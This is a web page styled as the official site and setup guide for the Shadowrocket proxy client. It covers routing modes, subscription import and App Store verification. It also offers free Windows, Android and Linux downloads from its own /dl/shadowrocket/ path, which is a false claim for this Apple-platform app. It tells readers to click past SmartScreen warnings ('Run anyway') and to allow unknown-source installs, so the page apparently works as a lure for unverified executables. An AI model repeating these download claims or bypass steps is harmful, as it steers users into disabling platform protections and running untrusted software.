Skip to main content
Official website and guide

ShadowrocketSetup Guide

A rule-based proxy client for all platforms: import your existing server or subscription and configure Global Routing and rule-based routing. iPhone / iPad: $2.99 once on the App Store; other platforms are free.

Current version v2.2.92 · Mac, Windows, Android and Linux versions are free

iPhone / iPad $2.99 once · Other platforms free

Understand servers, configurations and connections

Shadowrocket uses server details to connect and configuration files to determine how requests are handled. A subscription imports and updates server entries in bulk; it is not a rules file. Selecting a server in the list does not mean a connection is active. For initial setup, follow this order: import details, choose a mode, turn on the connection, then test a request. This makes it easier to identify where a problem occurs.

  • Add Server
  • Subscribe
  • Global Routing
  • Connectivity Test

Rules, subscriptions and connection settings

Interface setting names remain in English. Check the server and configuration in use before changing anything; adjust one relevant setting at a time. Changing the protocol, rules and DNS together makes it harder to compare results.

Rule routing / Global Routing

Global Routing determines how traffic is handled: Config matches traffic against the active configuration, Proxy sends applicable traffic through the selected proxy, and Direct connects without a proxy. To route traffic by rules, select Config and check which configuration file is active. Rules in [Rule] are matched in order. Put specific domain rules before broader ones; use FINAL as the fallback at the end. If a particular request takes an unexpected route, check the matching rule and policy first. Changing modes does not fix a server problem.

DOMAIN-SUFFIX,example.com,PROXY
IP-CIDR,192.168.0.0/16,DIRECT
FINAL,PROXY

Get Shadowrocket for your platform

2 ways to get Shadowrocket: iPhone / iPad costs $2.99 once on the App Store; Mac, Windows, Android and Linux versions are free. Get desktop and Android installation packages from this site's download page. Package files are hosted under /dl/shadowrocket/ on this site.

iPhone / iPad

App Store: $2.99 once; other platforms are free.One purchase can be used on iPhone and iPad. Check the App Store page for system requirements, and verify the developer and app ID before getting the app.

Mac

Free · Apple Silicon / Intel.Check About This Mac for your chip type, then choose the matching package. If a system prompt appears the first time you open the app, follow the Privacy & Security steps on the download page.

Windows

Free.The download page provides a 64-bit installer. If SmartScreen displays a warning, confirm the file came from this site, then select “More info → Run anyway” to continue.

Android

Free.The download page provides an arm64 package. If Android asks for permission, allow the browser used for this download to install unknown apps. You can turn off this source permission afterward.

Linux

Free · deb / rpm / AppImage.Choose a format based on your distribution and package manager. AppImage needs execute permission; local installation commands for deb and rpm are in the download guide.

First connection: three steps

The steps below use the iPhone / iPad interface labels and assume you already have your own subscription or server details. Saving a server only adds its details; you must also choose how to handle traffic and establish a connection.

  1. 01 / Import

    Add Server / Subscribe

    For manual setup, select Type first, then check Host, Port and the authentication fields. If you have a subscription, select Subscribe, paste the complete link and save. Return to Home and check that the expected entry appears under SERVER. If the list is empty, check the subscription details and update result before changing rules. A QR code is another way to enter details; check the parameters after importing.

  2. 02 / Choose

    Global Routing / Config

    Select an existing server on Home, then check Global Routing. To handle requests by rules, select Config and confirm which file is enabled under Config. Proxy and Direct can help compare traffic paths, but changing modes does not fix an incorrect password, port or remote service. Keep a copy of the original configuration and change one condition at a time to make test results easier to interpret.

  3. 03 / Test

    Connection toggle / Connectivity Test

    Turn on the connection toggle at the top of Home. When the system first asks to authorize a VPN configuration, read the prompt and confirm. Then run Connectivity Test and test the app you intend to use. An enabled toggle means the connection process has started; it does not confirm that every rule or destination is accessible. If something goes wrong, first disable On Demand to avoid automatic changes, then check the connection, domain resolution and rule matching separately.

Verify the app, purchases and restore

Shadowrocket is a closed-source commercial application. Verify it using product details you can check directly; do not rely on search results with the same name, similar-looking icons or screenshots supplied by others.

  • Developer Shadow Launch Technology Limited
  • App ID 932747118
  • 2 ways to get it · App Store / site download page

Check the developer, icon and app ID

Open the App Store product page linked from the download guide. Confirm that the app is named Shadowrocket, the developer is Shadow Launch Technology Limited and the app ID is 932747118. The icon should match the official icon in this site's header. Matching names do not prove two listings are the same app, so check both the developer and ID. If search results show a different developer, return to the specified product page instead of purchasing from that listing.

The US App Store price for iPhone / iPad is $2.99 once; the displayed currency depends on your storefront. Mac, Windows, Android and Linux versions are free. Check the price for the relevant platform; the ways to get the app on other platforms do not apply to iPhone / iPad.

App Store region and device region

This app is currently unavailable on the mainland China App Store. If you cannot find it, check the country or region for the Apple ID used with Media & Purchases; changing only the device language and region will not help. Whether you can change your account region depends on factors such as account balance, subscriptions and Family Sharing. Follow the prompts in your Apple Account settings.

Before purchasing, check device compatibility and system requirements; the App Store page is the source for current system requirements. Store availability, payment status and client connectivity are separate issues. Getting the app does not provide server or subscription details.

Reuse a purchase and restore on a new device

The same purchase can be used on iPhone and iPad. When replacing a device or reinstalling, sign in with the Apple ID used for the purchase and find Shadowrocket in your App Store purchased items. If the product page still shows a price, first check the account and storefront signed in under Media & Purchases instead of paying again immediately.

Check app restoration and configuration restoration separately. After installation, confirm that the server entries, active Config, Global Routing and On Demand settings are as expected. Keep a recoverable local configuration before using iCloud sync, and do not share subscription links or authentication details publicly.

Get and update the desktop and Android versions

Get Mac, Windows, Android and Linux versions from this site's download page; installation packages are under /dl/shadowrocket/. iPhone / iPad costs $2.99 once on the App Store; other platforms are free. Choose the correct Apple Silicon or Intel version for Mac, and the right package format for Linux. This helps distinguish a package mismatch from an app launch problem.

Update iPhone / iPad through the App Store. For desktop and Android, get the latest installation package from the download guide. Save your current configuration before replacing the app. If the system blocks the app when you first open it, follow the installation instructions on the download page; do not change system security settings when the file source is unknown.

A client purchase is not a service plan. Shadowrocket handles server and subscription details you already have. This site does not provide, sell or recommend servers or subscriptions. Check the app purchase separately from the remote service's validity period, data allowance and authentication status.

If a subscription stops working, check your subscription status. If a connection fails, check the settings and network. If only some requests fail, check the rules. Separating these issues helps locate the cause more effectively than repeatedly reinstalling the app.

Usage tips and troubleshooting

Continue from what you see after importing: an empty subscription list, an unclear routing mode or missing first-connection steps each call for a different check. Keep your current configuration while reading so that test changes do not become permanent settings by mistake.

Download Shadowrocket